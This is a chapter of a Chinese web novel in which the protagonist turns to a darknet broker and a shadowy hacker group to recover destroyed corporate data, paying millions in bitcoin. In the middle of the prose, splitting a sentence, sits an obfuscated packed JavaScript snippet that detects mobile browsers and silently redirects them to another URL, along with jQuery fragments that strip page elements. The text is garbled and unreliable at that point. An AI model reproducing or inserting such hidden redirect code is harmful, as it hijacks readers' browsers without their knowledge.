第115章:动用昔日人脉网络

作品:《最后一单遇上你

    保密电话那头,是长达近十秒钟的死寂。只有电流微弱的、令人心头发紧的滋滋声,和李维那陡然变得沉重、仿佛压抑着巨大惊愕与某种难以置信情绪的呼吸声,透过听筒,清晰地传来。


    罗梓甚至能想象出,电话那头的李维,在听到他这番近乎疯狂的、关于“可能存在的、非常规解决思路”的言论时,脸上会是何等错愕、甚至可能带着一丝“他是不是被吓疯了”的荒谬表情。毕竟,在韩晓被带走、瀚海大厦将倾、所有正规途径都被证明是死路的绝境下,他这样一个身份尴尬、对瀚海核心技术一无所知、甚至被刻意“保护”(或者说隔离)起来的“契约丈夫”,突然声称有一个“想法”,而且是关于那些已被顶尖技术团队判定为“彻底损毁、无法恢复”的核心数据……这听起来,简直比天方夜谭还要荒谬。


    但罗梓没有退缩,也没有解释。他只是紧紧握着那冰凉的听筒,手心里全是冷汗,但眼神却死死盯着书桌对面空荡荡的、曾属于韩晓的椅子,目光中燃烧着一种近乎偏执的、孤注一掷的火焰。他知道,他没有退路,也没有时间详细解释。他必须用最简短、最直接的方式,抓住这唯一可能的机会。


    “……罗先生,”终于,李维的声音再次响起,那沙哑疲惫的声线里,带上了一种前所未有的、极其复杂的情绪,混合着震惊、怀疑、一丝极其微弱的、连他自己都不敢相信的希望,以及深深的、对未知风险的警惕,“你……知道你在说什么吗?‘天穹’项目的数据,是林薇动用最高权限,启动了逻辑自毁协议损毁的,我们的技术总监和外部聘请的顶尖数据恢复专家,经过三轮交叉评估,得出的结论是……”他似乎艰难地吞咽了一下,才吐出那冰冷的判词,“……理论上,物理残留可读取部分不足千分之一,且被多重动态混淆病毒深度污染,常规及非常规恢复手段,成功率无限接近于零。这已经不是技术问题,而是……信息层面的‘死亡’。”


    “我知道。”罗梓的声音,出乎意料地平静,甚至带着一种近乎冷酷的清醒,“我知道常规手段不行。我知道你们已经尝试了所有‘正规’的、能想到的途径。我也知道,‘理论上’,它已经‘死’了。”


    他顿了顿,深吸一口气,仿佛在积聚最后的力量,也仿佛在下定最后的决心,说出那个在任何人听来都无比疯狂、甚至可能引来嗤笑的词汇:“但如果……我们尝试的,不是‘恢复’,而是……‘重构’呢?不是从现有的、被污染的碎片里‘修复’出原来的数据,而是像考古学家从一堆破碎的、被掩埋了千年的陶片里,根据它们的形状、质地、纹路、相互之间的关系,去‘推断’和‘重构’出那个陶器原本可能的样子?”


    电话那头,再次陷入了令人窒息的沉默。这一次,李维的呼吸声更加沉重,也更加急促,仿佛罗梓的话,像一颗投入深潭的巨石,在他本已绝望的心底,激起了难以想象的惊涛骇浪。


    “你……继续说。”李维的声音,压得极低,带着一种紧绷的、仿佛在聆听某种禁忌知识的警惕。


    “我早年……因为一些特殊的原因,接触过一些……游离在主流之外的技术圈子和理论。”罗梓的声音依旧平静,但提到“特殊的原因”时,几不可察地闪过一丝不易察觉的晦暗,那与他母亲的重病、与他为了筹措医药费而不得不涉足的灰色地带、与他那段不愿回首的过往紧密相连,“我认识一个人,或者说,我知道一个……代号叫‘幽灵’的人。他在大概七八年前,在一个非常隐秘、早已关闭的加密论坛里,发表过一篇……几乎没人当真的、关于‘数据残响’和‘逻辑坟场’的推演论文。他认为,在极端复杂的加密和自毁机制下,‘死亡’的数据并非彻底湮灭,其信息‘印记’会以某种极度扭曲、混乱、但遵循特定底层逻辑的方式,残留在系统的‘背景噪音’里,就像宇宙大**后的微波背景辐射,看似无序,却蕴含着宇宙起源的秘密。”


    “幽灵”的理论,听起来更像科幻小说或者疯子的呓语。罗梓几乎能听到电话那头李维那无声的倒抽冷气,和那随之而来的、更加深重的怀疑。


    “这太……荒谬了。”李维的声音干涩,带着难以置信,“罗先生,我理解你现在的心情,但这不是科幻电影。现实是,我们的技术团队……”


    “我知道这听起来荒谬!”罗梓打断了他,声音因为急切和一种被质疑的焦灼,而微微拔高,但立刻又强行压了下去,恢复了那种压抑的、却异常坚定的平静,“但李助理,请你想想,我们现在还有别的选择吗?‘正规’途径已经堵**!韩总被带走了!董事会明天就要召开!周董手里有完整的副本!我们还有多少时间?还有多少选择?”


    他喘了口气,语速加快,仿佛要将胸中翻涌的所有想法和盘托出:“‘幽灵’的理论或许疯狂,但它的核心思想——信息不灭,只是转换形态——在信息论上,并非完全无稽之谈!关键在于,我们有没有能力,去‘聆听’那些残留在系统最底层的、极度扭曲混乱的‘信息印记’!有没有一种算法,能够理解并解析这种‘印记’!有没有足够强大和特殊的计算资源,去支撑这种近乎‘暴力破解宇宙密码’的逆向重构!”


    “而‘幽灵’……”罗梓的声音,因为提到了那个神秘的名字,而带上了一种奇异的、混合着不确定和最后希望的光芒,“他在那篇论文的最后,留下了一个极其晦涩的、像是坐标又像是通讯协议的字符串。我当年因为……某些原因,研究过它。虽然没能完全破解,但我几乎可以肯定,那个字符串使用的加密方式,与东欧一个非常古老、非常隐秘、专注于破解冷战时期遗留密码和开发极端加密算法的黑客组织——‘深网守墓人’——惯用的某种非对称算法高度相关!”


    “深网守墓人?”李维的声音,陡然变得无比凝重,甚至带上了一丝震惊。显然,作为韩晓最信任的助理,他对这个游走在世界最黑暗的网络安全阴影里、传说众多、真伪难辨、但绝对不容小觑的神秘组织,并非一无所知。


    “对!”罗梓的心脏狂跳,他知道,他赌对了。李维知道这个组织,至少听说过它的名头。“如果‘幽灵’真的和‘深网守墓人’有关,哪怕只是边缘成员,或者只是从他们那里‘继承’或‘交易’了某种理论和技术……那么,他论文里提到的‘逆向重构’,就不再是纯粹的幻想!‘深网守墓人’以擅长处理‘不可能’的解密和极端情况下的信息‘打捞’而闻名于……某些特定的圈子。他们接的活儿,很多都是各国情报机构和顶级科技公司官方渠道解决不了的‘脏活’、‘绝活’!”


    “你的意思是……”李维的声音,因为巨大的震惊和随之而来的、难以置信的可能性,而微微颤抖,“你想通过联系这个‘幽灵’,或者通过他,联系上‘深网守墓人’,让他们来尝试……‘重构’我们丢失的数据?”


    “是。”罗梓的回答,斩钉截铁,尽管他的心脏因为说出这个疯狂的计划而几乎要跳出胸腔,“这是我们最后的机会,李助理。我知道这风险极大。‘深网守墓人’声名狼藉,行事毫无底线,索价高昂,而且极不可控。我们可能引狼**,可能白白付出巨大代价却一无所获,甚至可能将瀚海最后的技术秘密也泄露出去,加速我们的灭亡。但是……”


    他的声音,因为一种近乎悲壮的决绝,而带上了一丝嘶哑:“但是,不赌,韩总明天就会被董事会罢免,瀚海会被拆分出售,她可能面临更严重的指控,身败名裂,一无所有!赌了,我们还有一线生机,哪怕这生机渺茫到可以忽略不计!至少,我们试过了!至少,我们没有坐以待毙!”


    电话那头,再次陷入了长久的、令人窒息的沉默。罗梓能听到李维那沉重而急促的呼吸声,能想象出他此刻内心正经历着何等激烈的天人交战。一边是近乎疯狂的、与虎谋皮的、成功率渺茫的“民间偏方”,一边是眼睁睁看着韩晓和瀚海走向覆灭的、冰冷而确定的绝路。


    时间,在沉默中一秒秒流逝,每一秒,都像在罗梓紧绷的心弦上狠狠锯过。


    终于,李维的声音再次响起,那声音里,带着一种破釜沉舟般的、沉重的决断:“罗先生,告诉我,你需要什么?以及……你有多大把握,能联系上这个‘幽灵’,或者‘深网守墓人’?”


    罗梓的心,因为李维这句话,而猛地一沉,随即,一股混合着巨大压力、微弱希望和破釜沉舟决心的热流,涌遍全身。李维……选择了相信他,或者说,选择了抓住这最后一根稻草!


    “第一,”罗梓强迫自己冷静,语速飞快,“我需要立刻见到韩总现在最信任的、技术层面最核心、也最能保密、并且对‘天穹’项目底层架构和自毁协议机制最了解的人。必须是能绝对信任、且心理素质过硬、敢于承担巨大风险、进行这种近乎‘禁忌’尝试的人。我需要和他一起,验证‘幽灵’理论在我们具体案例上的可行性,哪怕只是理论推演。同时,我们需要评估,如果尝试‘重构’,需要什么样的特殊计算环境、什么样的底层数据访问权限,以及……可能会触发什么样的连锁风险,比如残留病毒的反扑,或者惊动周董那边的监控。”


    “第二,”罗梓的眼中,闪过一丝锐利而冰冷的光芒,“我需要动用我过去的一些……‘人脉’。不是光明正大的人脉,是见不得光的、游走在灰色甚至黑色地带的‘关系’。我需要通过他们,尝试定位和联系‘幽灵’,或者至少,联系上可能与‘深网守墓人’有关联的中间人。这个过程,可能需要钱,可能需要许诺一些我们未必愿意、但不得不给的‘条件’,而且,绝对、绝对不能留下任何可能被追踪到的、与我们、与瀚海、与韩总有直接关联的把柄。这需要极其隐秘、极其专业的操作。”


    “第三,”罗梓的声音,带上了一丝不容置疑的急切,“时间。李助理,我们最多还有……不到二十四个小时。在明天董事会召开、一切成为定局之前,我们必须拿出一点东西,哪怕只是一个有说服力的、证明数据‘可能并未完全死亡、存在理论上的重构希望’的技术推演报告,都能成为韩总在董事会绝地反击、争取时间的筹码!而要联系上‘幽灵’或‘深网守墓人’这种级别的存在,并且初步验证可行性,二十四个小时,几乎是……不可能的。但我们别无选择,必须分秒必争!”


    电话那头,李维沉默了更久。罗梓甚至能听到他指节捏得发白的轻微声响,以及他因为极度紧张和压力而变得粗重的呼吸。


    “技术负责人,我可以立刻安排。是韩总一手提拔、绝对可信的技术总监,也是‘天穹’项目的奠基人之一,秦铮。他现在就在公司地下三层、代号‘蜂巢’的绝密安全屋里,带着最后几个绝对忠诚的核心成员,正在做……最后的、绝望的挣扎。他应该是最合适的人选。”李维的声音,带着一种近乎悲壮的沉重,“至于你需要的‘人脉’和操作……罗先生,你确定,你要动用那些……‘关系’吗?你知道那意味着什么。一旦涉足,可能就再也洗不干净了。而且,韩总她……”


    “我知道意味着什么。”罗梓的声音,异常平静,平静得甚至有些冷酷,“但这是现在,唯一可能救她、救瀚海的办法。至于韩总……”他顿了顿,眼前闪过韩晓被带走时那挺直却孤寂的背影,心脏再次传来清晰的刺痛,“等事情结束,如果……如果她因此厌弃我,甚至要终止契约,我无话可说。但现在,我们必须这么做。立刻,马上。”


    电话那头,李维再次沉默了。这一次,沉默的时间稍短,但其中的挣扎和决断,却更加沉重。最终,他仿佛用尽了全身力气,从牙缝里挤出了一个字:


    “好。”


    这一个字,如同最后的审判锤音落下,敲定了这场疯狂的、与时间赛跑、与恶魔交易的绝地反击的开始。


    “秦铮那边,我来安排。十分钟后,我会派绝对可靠的人,接你去‘蜂巢’。路线和安保会做到最高级别,确保不会引起任何注意。”李维的声音,恢复了那种职业性的、条理清晰的快速,“至于你要动用的‘人脉’和需要的资源——钱,我可以从韩总的私人紧急账户里调拨,额度……可以很高,只要能解决问题。操作,需要绝对隐秘,不能留下任何与瀚海、与韩总、甚至与你有直接关联的痕迹。我会提供一个完全干净的、加密的、一次性通讯渠道给你,你需要的一切技术支持,秦铮的团队可以远程秘密提供。但是……”


    李维的声音,陡然变得无比严肃,甚至带着一丝警告的意味:“罗先生,你必须清楚,从现在开始,你做的每一件事,联系的每一个人,都可能将你,甚至将韩总,拖入无法预料的、更深的危险之中。‘深网守墓人’那种存在,是真正的双刃剑,用不好,我们会死得更快、更惨。你……真的想好了吗?”


    罗梓握着听筒的手指,因为用力而骨节发白。他想好了吗?他当然没有完全想好。前方是深不见底的黑暗悬崖,是与虎谋皮的致命危险,是可能万劫不复的深渊。但,他更无法忍受的,是站在安全的岸边,眼睁睁看着那个在他心中占据着越来越重、越来越复杂分量的女人,被冰冷的潮水彻底吞没。


    他想起了星空下她偶尔流露的疲惫,想起了她指尖微凉的触感,想起了她独自面对风暴时挺直的脊背,想起了她被带走时那冷静到近乎残忍的平静……


    不,他别无选择。


    “我想好了。”罗梓的声音,平静,却带着一种破釜沉舟的、不容置疑的力量,“李助理,开始吧。”


    电话挂断。


    书房里,重新恢复了死寂。但这一次,死寂中,却涌动着一股看不见的、紧张的、如同弓弦绷到极致的、危险的气息。


    罗梓缓缓放下听筒,才发现自己的后背,早已被冷汗浸透。他靠在冰冷的书桌上,微微喘着气,心脏依旧在狂跳,但眼神,却比之前任何时候都要坚定,都要……冰冷。


    他走到窗边,拉开厚重的窗帘一角。窗外,是沉沉的、无边无际的夜色,只有零星的、冰冷的灯火,在远处的城市中闪烁,如同黑暗中潜伏的、窥视的眼睛。


    他知道,从这一刻起,他将不再是那个只能躲在门后、无能为力的旁观者。他将主动踏入那片他曾经避之不及的、黑暗的、危险的灰色地带,动用他过往人生中,那些最不堪、最隐秘、最想彻底埋葬的“人脉”和“关系”,去进行一次可能毫无胜算、甚至可能引火烧身的、疯狂的**。


    为了她。


    这个认知,像一道冰冷而炽热的火焰,瞬间烧尽了心中所有的犹豫、恐惧和自我怀疑。他转身,快步走回书桌前,目光落在韩晓那部尚未合上的、显示着加密界面的笔记本电脑上。


    他需要工具。需要联系那些,他以为这辈子再也不会联系、也绝不想让韩晓知道的“人”。


    第一个名字,浮现在他的脑海——老K。<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954746|193059||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>老K不是真名,甚至可能不是一个人,而是一个代号,一个活跃在东南亚灰色信息交易地带、专门倒卖各种“特殊渠道”消息和联系方式的“掮客”。罗梓当年走投无路、四处寻找能支付天价医疗费的“门路”时,曾通过一个极其隐秘的、现已消失的暗网论坛,与老K有过短暂接触。那是一个贪婪、狡猾、毫无底线,但手上确实掌握着许多“硬通货”联系方式的危险人物。罗梓曾从他那里,购买过一条关于境外某种尚未通过审批、但可能对母亲病情有效的实验性药物的模糊线索,代价是……一笔不菲的、几乎掏空了他当时所有积蓄的“信息费”,以及,被迫替老K处理过一件微不足道、但绝对不光彩的、涉及信息伪装和追踪反制的“小活儿”。


    那是罗梓人生中最黑暗、最不愿回首的记忆之一。他厌恶老K,厌恶那个充满贪婪、欺骗和犯罪的灰色世界。在签下与韩晓的契约、母亲得到最好的医疗救治后,他以为自己终于可以彻底摆脱那段过往,将那些肮脏的记忆永远埋葬。


    可现在,他必须亲手,将这座坟墓掘开。


    罗梓的手指,因为巨大的心理抵触和一种深切的自我厌恶,而微微颤抖。但他没有停下。他根据记忆,开始尝试通过那部加密电脑,接入一个极其特殊的、多层跳转的、匿名的、早已被他封存在记忆深处的、专门用于联系老K这类“特殊人士”的通信协议。


    过程并不顺利。那个协议似乎已经失效,或者被修改了。罗梓额头渗出细密的冷汗,他知道时间紧迫,每一分每一秒都无比珍贵。他强迫自己冷静下来,回忆着与老K接触时的每一个细节,尝试着各种可能的变体和备用路径。


    就在他几乎要绝望,以为这条线也断了的时候——


    一个极其简短的、没有任何标识的、仿佛来自虚空中的、经过多重变声处理的、非男非女的电子音,突然在电脑内置的、经过特殊处理的扬声器里响起,带着一种令人极不舒服的、仿佛毒蛇吐信般的嘶嘶杂音:


    “滴——验证通过。老朋友,好久不见。看来,你终于遇到连你那‘高贵’的金主,也解决不了的‘**烦’了?”


    是老K!他认出了这个经过伪装的、但语调中那股特有的、令人作呕的贪婪和戏谑味道!


    罗梓的心脏,因为骤然接通和对方那句意有所指的话,而狠狠一缩!老K知道韩晓?知道他现在的处境?这个认知,让罗梓瞬间遍体生寒,一股冰冷的恐惧沿着脊椎窜上头顶。但此刻,他已无路可退。


    “老K,”罗梓强迫自己的声音听起来平静,甚至带着一丝他并不熟悉的、冰冷的、交易式的口吻,“我需要找一个人,或者,一个组织。代号‘幽灵’。或者,与东欧‘深网守墓人’有关联的、可靠的中间人。越快越好。价钱,好说。”


    “哦?”老K那经过变声处理的电子音,拖长了调子,带着一种猫捉老鼠般的、令人极度不适的玩味,“‘幽灵’?‘深网守墓人’?啧啧,老朋友,你可真是……要么不开口,一开口,就是这种要命的大单子啊。‘幽灵’早就消失很多年了,是死是活都没人知道。至于‘深网守墓人’……那帮疯子,可不是什么人都能搭上线的。他们接活儿,看心情,看难度,更看……代价。你准备好付出什么样的‘代价’了吗?我亲爱的……走投无路的老朋友?”


    罗梓的心沉了下去。果然,没那么容易。但他没有时间废话,也没有资本讨价还价。


    “开价。”罗梓的声音,冰冷而直接,“牵线费,信息费,以及……如果最终能达成交易,你的佣金。一次性报价。我只要结果,和最快的速度。你应该清楚,我能动用的资源,比你想象的多。但我的耐心,和我的时间,非常、非常有限。”


    电话那头,老K似乎沉默了片刻,仿佛在评估罗梓话语的真实性和“资源”的含金量。那嘶嘶的电流杂音,在寂静的书房里,显得格外刺耳。


    “痛快!”终于,老K的电子音再次响起,这次,那贪婪的味道更加赤裸,“一口价。三百万美金,不连号旧钞,比特币支付也可以,但要额外加百分之十五的‘风险溢价’。这只是‘敲门’和‘确认可行性’的费用。不管成不成,这笔钱不退。如果‘深网守墓人’那边真的有兴趣,并且愿意接你这个‘烫手山芋’,具体的交易条件和代价,你们自己去谈。我只负责在四小时内,给你一个确切的答复,以及,如果可能,一个安全的、一次性的、单向加密通讯渠道。如何?”


    四小时!三百万美金!还只是“敲门费”!


    罗梓的心脏狠狠抽搐了一下。这几乎是一个天文数字,而且仅仅是获得一个“可能”的接触机会!但他没有犹豫。


    “可以。但我要在两小时内,得到初步答复。钱,十分钟内到你指定的账户。通讯渠道,必须绝对安全,任何追踪和反追踪的迹象,交易立刻终止,你一分钱也别想拿到。”罗梓的声音,冷静得近乎残酷,他在赌,赌老K的贪婪,也赌自己手中可能握有的、对方并不知道底细的“资源”的威慑力。


    “两小时?”老K的电子音提高了些许,似乎有些惊讶于罗梓的急切和强势,但随即,那贪婪的本性立刻压过了一切,“两小时……得加钱。百分之二十的加急费。总共三百六十万。十分钟内到账,两小时后,我给你消息。”


    “成交。”罗梓没有任何犹豫,他甚至没有去计算这三百六十万美金意味着什么,是韩晓私人账户里多大的一笔钱,会不会引起其他麻烦。此刻,时间就是一切,任何犹豫都可能葬送最后的机会。“账户。现在。”


    一串复杂的、经过加密的比特币钱包地址和一系列复杂的操作指令,迅速通过那个隐秘的通讯渠道传了过来。罗梓没有丝毫停顿,立刻用那部加密电脑,连接了李维刚刚提供给他的、那个绝对安全的紧急支付渠道,输入指令,确认金额,发送。


    整个过程,行云流水,没有丝毫拖沓,甚至带着一种近乎冷酷的、与时间赛跑的决绝。仿佛他早已不是那个在韩晓面前局促不安、刻意保持距离的罗梓,而是另一个沉睡在他体内许久、为了达成目的可以不择手段、游走于黑暗边缘的、陌生的自己。


    “钱已转出。两小时。我等你消息。”罗梓对着通讯器,冷冷地说完最后一句话,然后,不等老K回应,便干净利落地切断了通讯,并迅速清除了所有操作痕迹,退出了那个危险的通信协议。


    做完这一切,他像是耗尽了全身力气,颓然坐倒在韩晓那张宽大的、冰冷的皮质转椅里,后背再次被冷汗浸透。手指因为刚才的高度紧张和快速操作,而微微颤抖。


    三百六十万美金……仅仅是为了一个可能的、接触“深网守墓人”的机会……


    而他即将要面对的,是比老K更加神秘、更加危险、更加不可控的存在。


    窗外的夜色,更加深沉了。远处城市的灯火,如同黑暗中窥视的、冰冷的眼睛,静静地注视着这座别墅,注视着这个在绝境中,不惜动用昔日最不堪、最黑暗的人脉网络,试图撬动命运齿轮的、孤注一掷的男人。


    书房的门,被轻轻敲响。


    李维派来的、绝对可靠的人,到了。


    去“蜂巢”的路,就在脚下。


    而真正的、与魔鬼的交易,才刚刚开始。


    罗梓缓缓站起身,最后看了一眼窗外沉沉的夜色,然后,毫不犹豫地,转身,朝着那扇即将打开、通往未知与危险的门,走了过去。